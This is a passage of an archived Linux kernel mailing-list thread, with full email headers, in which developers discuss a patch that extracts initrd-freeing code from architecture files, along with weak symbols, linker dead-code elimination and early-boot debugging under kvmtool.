 b=PWL6E/bHi/xOHIkOpNCLci5ew3KyRAemq8aeyHRfR2FC/YhYi90O66E4P6P89GyfRmHDlk0RJF4uoVhjxo4VD0Yu21JB5gSzBLMd2KUdVXjVQKE0BwMiGjWwyDB0Zqj90+xQ0CmQi62FEtWLwAH70hwNJd2xasN6OWOlYhqaW/g=;
Original-Received: from n2100.armlinux.org.uk
 ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:51000)
 by pandora.armlinux.org.uk with esmtpsa (TLSv1.2:AES128-GCM-SHA256:128)
 (Exim 4.82_1-5b7a7c0-XX) (envelope-from <linux@armlinux.org.uk>)
 id 1f1Zwd-000054-1V; Thu, 29 Mar 2018 16:58:31 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim
 4.82_1-5b7a7c0-XX) (envelope-from <linux@n2100.armlinux.org.uk>)
 id 1f1ZwZ-0005sw-S4; Thu, 29 Mar 2018 16:58:27 +0100
Content-Disposition: inline
In-Reply-To: <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_085928_238847_63ED85E6 
X-CRM114-Status: GOOD (  30.43  )
X-Spam-Score: -2.4 (--)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-2.4 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -2.3 RCVD_IN_DNSWL_MED      RBL: Sender listed at http://www.dnswl.org/, medium
 trust [2001:4d48:ad52:3201:214:fdff:fe10:1be6 listed in]
 [list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3707 gmane.linux.ports.mips.general:64295 gmane.linux.ports.sh.devel:56773 gmane.linux.kernel:2728734 gmane.linux.ports.ia64:28775 gmane.linux.ports.hexagon:1618 gmane.linux.kernel.metag:1743 gmane.linux.ports.arm.kernel:641715 gmane.linux.ports.parisc:28450 gmane.linux.ports.alpha:4906 gmane.linux.ports.sparc:27508 gmane.linux.uml.devel:16735 gmane.linux.uml.user:15411 gmane.linux.ports.ppc64.devel:155479
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3707>

On Thu, Mar 29, 2018 at 05:43:47PM +0200, Geert Uytterhoeven wrote:
> On Thu, Mar 29, 2018 at 5:27 PM, Russell King - ARM Linux
> <linux@armlinux.org.uk> wrote:
> > On Thu, Mar 29, 2018 at 09:37:52AM +1100, Oliver wrote:
> >> On Thu, Mar 29, 2018 at 9:14 AM, Russell King - ARM Linux
> >> <linux@armlinux.org.uk> wrote:
> >> > On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
> >> >> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
> >> >> > On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
> >> >> >> On 03/28/2018 10:26 AM, Shea Levy wrote:
> >> >> >>> Now only those architectures that have custom initrd free requirements
> >> >> >>> need to define free_initrd_mem.
> >> >> >> ...
> >> >> >>> --- a/arch/arc/mm/init.c
> >> >> >>> +++ b/arch/arc/mm/init.c
> >> >> >>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
> >> >> >>>  {
> >> >> >>>   free_initmem_default(-1);
> >> >> >>>  }
> >> >> >>> -
> >> >> >>> -#ifdef CONFIG_BLK_DEV_INITRD
> >> >> >>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
> >> >> >>> -{
> >> >> >>> - free_reserved_area((void *)start, (void *)end, -1, "initrd");
> >> >> >>> -}
> >> >> >>> -#endif
> >> >> >>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> >> >> >>> index 3f972e83909b..19d1c5594e2d 100644
> >> >> >>> --- a/arch/arm/Kconfig
> >> >> >>> +++ b/arch/arm/Kconfig
> >> >> >>> @@ -47,6 +47,7 @@ config ARM
> >> >> >>>   select HARDIRQS_SW_RESEND
> >> >> >>>   select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
> >> >> >>>   select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
> >> >> >>> + select HAVE_ARCH_FREE_INITRD_MEM
> >> >> >>>   select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
> >> >> >>>   select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
> >> >> >>>   select HAVE_ARCH_MMAP_RND_BITS if MMU
> >> >> >>
> >> >> >> Isn't this why weak symbols were invented?
> >> >> >
> >> >> > Weak symbols means that we end up with both the weakly-referenced code
> >> >> > and the arch code in the kernel image.  That's fine if the weak code
> >> >> > is small.
> >> >>
> >> >> The kernel's been able to build with link time garbage collection since 2016:
> >> >>
> >> >> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
> >> >>
> >> >> Wouldn't that remove the unused one?
> >> >
> >> > Probably, if anyone bothered to use that, which they don't.
> >> >
> >> > LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> >> > what I can see, nothing selects it.  Therefore, the symbol is always
> >> > disabled, and so the feature never gets used in mainline kernels.
> >> >
> >> > Brings up the obvious question - why is it there if it's completely
> >> > unused?  (Maybe to cause confusion, and allowing a justification
> >> > for __weak ?)
> >>
> >> IIRC Nick had some patches to do the arch enablement for powerpc, but
> >> I'm not sure what happened to them though. I suspect it just fell down
> >> Nick's ever growing TODO list.
> >
> > I've given it a go on ARM, marking every linker-built table with KEEP()
> > and comparing the System.map files.  The resulting kernel is around
> > 150k smaller, which seems good.
> >
> > However, it doesn't boot - and I don't know why.  Booting the kernel
> > under kvmtool in a VM using virtio-console, I can find no way to get
> > any kernel messages out of it.  Using lkvm debug, I can see that the
> > PC is stuck inside die(), and that's the only information I have.
> > It dies before bringing up the other CPUs, so it's a very early death.
> >
> > I don't think other console types are available under ARM64.
> 
> earlycon?

Through what - as I say above, I think the only thing that's present is
virtio-console, and the virtio stack only get initialised much later in
boot.

Eg, there's the memory-based virtio driver which interfaces any virtio
driver to a memory-based ring structures for communication with the host
(drivers/virtio/virtio_mmio.c) which is initialised at module_init()
time, and so isn't available for earlycon.

I don't think merely changing the module_init() calls in the appropriate
virtio bits will suffice - it's why I pointed out that it dies before
SMP initialisation, which also means that it dies before we start
running the initcalls for subsystems and drivers.

I'm not aware of there being an emulated UART in the guest's address
space, so serial based stuff doesn't work.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Rob Landley <rob@landley.net>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 11:39:24 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <c91e8781-5f31-70e8-e7ef-1a80bd5d9454@landley.net>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522341498 11331 195.159.176.226 (29 Mar 2018 16:38:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 16:38:18 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.6.0
Cc: linux-mips@linux-mips.org, linux-sh@vger.kernel.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 uclinux-h8-devel@lists.sourceforge.jp,
 Vladimir Murzin <vladimir.murzin@arm.com>, Marc Zyngier <marc.zyngier@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Al Viro <viro@zeniv.linux.org.uk>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 linux-cris-kernel@axis.com, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 linux-kernel@vger.kerne
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 18:38:05 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1aYu-0002jx-Ig
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 18:38:04 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=V8Ic6oWOZxAk9wxnNN6Z2FaA+AjAuvukHAQDydMnE4s=; b=RMTB7vQTVrzN04
	nwEAiwf8hnvRoLJLzGXyWkWy1D4tL+ekwJA1hK/mM5Ppsv5K6YoabKfm5VeDHOsxNoS1f2YwK6Z7P
	qsKPpX4JCLVNkl5HnJe85PRL+CVRNqRp3n46u69ynAF65XuWbWWCccL5URkVkX8imHxRDj5l+BFWM
	sl0XZ0TVrXOZ5Cjj86VVsnK+w2FNjRzvBaEiIfJL3pc7Us/wDPicn5Q2Yc1MpB3N9zgbsfXhhrl17
	jHf5Cxt4/v612T9mSWtaHROCLx4n5iuZlJ6m2ObMCO8KPDQhnJxdg4tPsS3YZPBnogjfF4RiTM+zp
	hzo0EyfymwiKzFvZtHgw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1aax-0003mp-Gq; Thu, 29 Mar 2018 16:40:11 +0000
Original-Received: from mail-it0-x241.google.com ([2607:f8b0:4001:c0b::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1aar-0002XA-Lg
 for linux-snps-arc@lists.infradead.org; Thu, 29 Mar 2018 16:40:09 +0000
Original-Received: by mail-it0-x241.google.com with SMTP id 19-v6so8609369itw.3
 for <linux-snps-arc@lists.infradead.org>; Thu, 29 Mar 2018 09:39:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=landley-net.20150623.gappssmtp.com; s=20150623;
 h=subject:to:cc:references:from:message-id:date:user-agent
 :mime-version:in-reply-to:content-language:content-transfer-encoding;
 bh=Mq8f+vRkP/mZyB5Eo6imYFEVjikyvk4d+b7tSEe0lXw=;
 b=USRe/m95HfaznOOYKySsVJPMHecIC+WE7kxSyCxwp0RIzHarrSKdl4SPIcv0aZqlLH
 wNEcUGNZvawbCNQwiNqpN7drX4m/ZU38UBIiH71ejgRLt4VohItefhy/w+AFOLJs26jm
 gIwuJXOczl1hOgO/8KOPhzwLBqLwNBSH993Pnt8G5V3RgpmDE2p7aT4t5BcxYB5Tfgmu
 sd7UC2ADU/k/6Hta8ySwLEeMJuZbeD4Bg/W2fhEb9QMKS6UkD2VHeFhUgUsS1DfjDeGM
 FiA/YP0y8aCLgB2fu6pbd8eyt4FdH5Xrrh0b/GQks0iItXOhrWnUp9gVuBmW8jGoIO2C
 jmjg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:subject:to:cc:references:from:message-id:date
 :user-agent:mime-version:in-reply-to:content-language
 :content-transfer-encoding;
 bh=Mq8f+vRkP/mZyB5Eo6imYFEVjikyvk4d+b7tSEe0lXw=;
 b=lT570NF0TS199yhYsxm8XkOPJmyDtCw8Veljkuse15IyDUucmm/SB7vFYZBXajsthI
 ADwGX9uiaDNl0FA9i+JwtJf7Ox/63nr5rggPyWKnF7palTbAzpis5Lm1eadu2Z/3skgy
 2G73CrsQvFzehT77Xe9MnuDp9vW6FKZxQGndRiq2wPr6p6r/ZLtmvfMD8N+2D7M90jry
 aFHe2anypPfgDr7K+0UZJcMOIJZI/Vzlv6jzDjjYxYjQHbiMIgrbZCVCeLeeVX23zBmg
 MJGUYoXAZ2S52/WF7YvizyYlfr8xoJ/tXbvmdt0Oud/wMXQRJs0UtcFhbpTVjoTLZsOs
 3u8Q==
X-Gm-Message-State: AElRT7Em6rc1nb9DkVPeSzUpcn2/H8bae3xYV7imMPUVlBG01smIdpYH
 L4n6Le0ipWNiDaT5NVCoLfNzfw==
X-Google-Smtp-Source: AIpwx48TX1JV6yxbQdkvSpBeYkQ5dWOJjV/U+XXEGy4UNdwiKu0dddYJQCEbDNmHsRJ+nrSDr2PlPw==
X-Received: by 2002:a24:b605:: with SMTP id g5-v6mr8256708itf.83.1522341594385; 
 Thu, 29 Mar 2018 09:39:54 -0700 (PDT)
Original-Received: from [192.168.42.90] ([172.58.143.62])
 by smtp.googlemail.com with ESMTPSA id n7sm1309097ioo.43.2018.03.29.09.39.26
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Thu, 29 Mar 2018 09:39:53 -0700 (PDT)
In-Reply-To: <20180328221401.GA14084@n2100.armlinux.org.uk>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_094005_748281_5A33CFF9 
X-CRM114-Status: GOOD (  27.36  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:241 listed in] [list.dnswl.org]
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3708 gmane.linux.ports.mips.general:64296 gmane.linux.ports.sh.devel:56775 gmane.linux.kernel:2728787 gmane.linux.ports.ia64:28776 gmane.linux.ports.hexagon:1619 gmane.linux.kernel.metag:1744 gmane.linux.ports.arm.kernel:641723 gmane.linux.ports.parisc:28451 gmane.linux.ports.alpha:4907 gmane.linux.ports.sparc:27509 gmane.linux.uml.devel:16736 gmane.linux.uml.user:15412 gmane.linux.ports.ppc64.devel:155487
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3708>



On 03/28/2018 05:14 PM, Russell King - ARM Linux wrote:
> On Wed, Mar 28, 2018 at 02:04:22PM -0500, Rob Landley wrote:
>>
>>
>> On 03/28/2018 11:48 AM, Russell King - ARM Linux wrote:
>>> On Wed, Mar 28, 2018 at 10:58:51AM -0500, Rob Landley wrote:
>>>> On 03/28/2018 10:26 AM, Shea Levy wrote:
>>>>> Now only those architectures that have custom initrd free requirements
>>>>> need to define free_initrd_mem.
>>>> ...
>>>>> --- a/arch/arc/mm/init.c
>>>>> +++ b/arch/arc/mm/init.c
>>>>> @@ -229,10 +229,3 @@ void __ref free_initmem(void)
>>>>>  {
>>>>>  	free_initmem_default(-1);
>>>>>  }
>>>>> -
>>>>> -#ifdef CONFIG_BLK_DEV_INITRD
>>>>> -void __init free_initrd_mem(unsigned long start, unsigned long end)
>>>>> -{
>>>>> -	free_reserved_area((void *)start, (void *)end, -1, "initrd");
>>>>> -}
>>>>> -#endif
>>>>> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
>>>>> index 3f972e83909b..19d1c5594e2d 100644
>>>>> --- a/arch/arm/Kconfig
>>>>> +++ b/arch/arm/Kconfig
>>>>> @@ -47,6 +47,7 @@ config ARM
>>>>>  	select HARDIRQS_SW_RESEND
>>>>>  	select HAVE_ARCH_AUDITSYSCALL if (AEABI && !OABI_COMPAT)
>>>>>  	select HAVE_ARCH_BITREVERSE if (CPU_32v7M || CPU_32v7) && !CPU_32v6
>>>>> +	select HAVE_ARCH_FREE_INITRD_MEM
>>>>>  	select HAVE_ARCH_JUMP_LABEL if !XIP_KERNEL && !CPU_ENDIAN_BE32 && MMU
>>>>>  	select HAVE_ARCH_KGDB if !CPU_ENDIAN_BE32 && MMU
>>>>>  	select HAVE_ARCH_MMAP_RND_BITS if MMU
>>>>
>>>> Isn't this why weak symbols were invented?
>>>
>>> Weak symbols means that we end up with both the weakly-referenced code
>>> and the arch code in the kernel image.  That's fine if the weak code
>>> is small.
>>
>> The kernel's been able to build with link time garbage collection since 2016:
>>
>> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b67067f1176d
>>
>> Wouldn't that remove the unused one?
> 
> Probably, if anyone bothered to use that, which they don't.
> 
> LD_DEAD_CODE_DATA_ELIMINATION is a symbol without a prompt, and from
> what I can see, nothing selects it.  Therefore, the symbol is always
> disabled, and so the feature never gets used in mainline kernels.

It looks like there are per-architecture linker scripts that need to be updated?
So if an architecture supports it, it's always done (well, it probes for the
toolchain supporting the flag). And if the architecture doesn't support it, the
linker script needs to be updated to mark sections with "I know nothing seems to
reference this at the ELF level but keep it anyway, we're pulling an assembly
trick".

> Brings up the obvious question - why is it there if it's completely
> unused?  (Maybe to cause confusion, and allowing a justification
> for __weak ?)

Presumably it will become the default on architectures as their linker scripts
are converted. Once they're all converted the config symbol can go away. (Given
the move to requiring gcc 4.7 or whatever it is, there can't be an architecture
depending on a toolchain that _doesn't_ support it after that point. I doubt you
can pair gcc 4.7 with a >12 year old binutils and expect good things...)

Rob

From - Thu Nov 08 21:41:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Marc Zyngier <marc.zyngier@arm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Extract initrd free logic from arch-specific code.
Date: Thu, 29 Mar 2018 17:53:14 +0100
Organization: ARM Ltd
Lines: 129
Approved: news@gmane.org
Message-ID: <86zi2qrfgl.wl-marc.zyngier@arm.com>
References: <20180325221853.10839-1-shea@shealevy.com>
 <20180328152714.6103-1-shea@shealevy.com>
 <05620fee-e8b5-0668-77b8-da073dc78c40@landley.net>
 <20180328164813.GA3888@n2100.armlinux.org.uk>
 <de092e7f-0bc9-bb06-9798-12784930a6bd@landley.net>
 <20180328221401.GA14084@n2100.armlinux.org.uk>
 <CAOSf1CG8gQjoL5rDMRMcZp=D8jBEQ9JBSG68=CiXnitC+4Kjvg@mail.gmail.com>
 <20180329152749.GC16141@n2100.armlinux.org.uk>
 <CAMuHMdXAckNiUQKT2WU6xaJjbECrifmH6fg_mET+h3iXf_RgDQ@mail.gmail.com>
 <20180329155827.GD16141@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI-EPG 1.14.7 - "Harue")
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1522342330 5569 195.159.176.226 (29 Mar 2018 16:52:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 29 Mar 2018 16:52:10 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI-EPG/1.14.7 (Harue)
 FLIM/1.14.9 (=?ISO-8859-4?Q?Goj=F2?=) APEL/10.8 EasyPG/1.0.0 Emacs/25.1
 (aarch64-unknown-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Linus Walleij <linus.walleij@linaro.org>, Will Deacon <will.deacon@arm.com>,
 Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Christoph Hellwig <hch@infradead.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 Eugeniy Paltsev <Eugeniy.Paltsev@synopsys.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Vladimir Murzin <vladimir.murzin@arm.com>,
 adi-buildroot-devel@lists.sourceforge.net, Nicholas Piggin <npiggin@gmail.com>,
 Al Viro <viro@zeniv.linux.org.uk>, Thomas Gleixner <tglx@linutronix.de>,
 Richard Henderson <rth@twiddle.net>, Cris <linux-cris-ke
To: Russell King - ARM Linux <linux@armlinux.org.uk>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Mar 29 18:51:56 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1f1amK-000190-7n
	for gla-linux-snps-arc@m.gmane.org; Thu, 29 Mar 2018 18:51:56 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:In-Reply-To:
	Subject:To:From:Message-ID:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=mHSgewp2zKYyq7XoRnRmHqottk8h5lm7Tlq6ojgELLA=; b=HW4nPmMI0j3c35
	/lMkv7utQNR28Oj1IgDWxGWMfOrYsAi/zi1S6S4btS29L/MDfIbicdhsWBUwXT6qBTY70NrxOp/+2
	kd+W57Tip+IZxngAtq2ayvNYe+jV3EHgxxreabwC3+2mJOIXFk1998Ebav83id48IDsY1HS2Tmz4d
	Wo43C/ufalD0a0NcdbzsiWALZ7wVHZ++6HIarH7cq//Sg/GPY0RDLpG1DopOIyqoXyGCRPnScjA5r
	xyrXYhzA6e52an386MAcacK+/17ciJk99fVb7nVjIFzrczPj5DbCVuCqJRlWHrnEPW53LiW3cRX3G
	iGJLbJx2pw6Ki1XFnDYg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1aoM-0007UG-Lc; Thu, 29 Mar 2018 16:54:02 +0000
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]
 helo=foss.arm.com)
 by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1aoH-0007QL-PR; Thu, 29 Mar 2018 16:53:59 +0000
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
 by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id C536815AB;
 Thu, 29 Mar 2018 09:53:43 -0700 (PDT)
Original-Received: from big-swifty.misterjones.org (usa-sjc-mx-foss1.foss.arm.com
 [217.140.101.70])
 by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 210923F590;
 Thu, 29 Mar 2018 09:53:17 -0700 (PDT)
In-Reply-To: <20180329155827.GD16141@n2100.armlinux.org.uk>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_095357_839055_9A121A71 
X-CRM114-Status: GOOD (  36.94  )
X-Spam-Score: -5.0 (-----)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-5.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -5.0 RCVD_IN_DNSWL_HI       RBL: Sender listed at http://www.dnswl.org/, high
 trust [217.140.101.70 listed in list.dnswl.org]
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
